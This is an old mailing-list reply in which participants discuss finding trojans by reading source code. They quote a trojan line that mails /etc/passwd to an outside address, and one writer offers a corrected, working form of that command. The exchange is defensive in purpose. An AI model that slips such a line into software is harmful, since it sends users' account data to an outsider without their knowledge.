On Wed, Apr 17, 2002 at 03:31:17PM -0700, Anne Carasik wrote:
> On Wed, Apr 17, 2002 at 05:06:03PM -0500, Bryan Andersen wrote:
> > > Compile from source is a good idea too. It's amazing what you
> > > can find in the source. I found a couple of stupid Trojans
> > > that way.
> > >    system("mail /etc/passwd [EMAIL PROTECTED]");
> > Yeh, and it's buggy too....
> > Take a close look at what really happens.
> 
> I'm sure it is. [EMAIL PROTECTED] doesn't exist. ;)
> 
> Seriously, I know it is. The other thing is, I use shadow most of the
> time. Still, the username information is never a good thing to share.
> 

I think he is saying that it should be somthing more like
        system("mail [EMAIL PROTECTED] < /etc/passwd");

But since i dont really know c, you might not be able to use '<' in
system calls... it seems likey though. The previous version would 
try to email user /etc/passwd.


Tim



-- 
Tim Nicholas                          ||                      Cilix
Email: [EMAIL PROTECTED]            ||              ICQ# 15869961
http://tim.nicholas.net.nz/           ||       Dunedin, New Zealand
"Grow up, Larry. You give me too much credit." - Linus Torvalds


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]

Reply via email to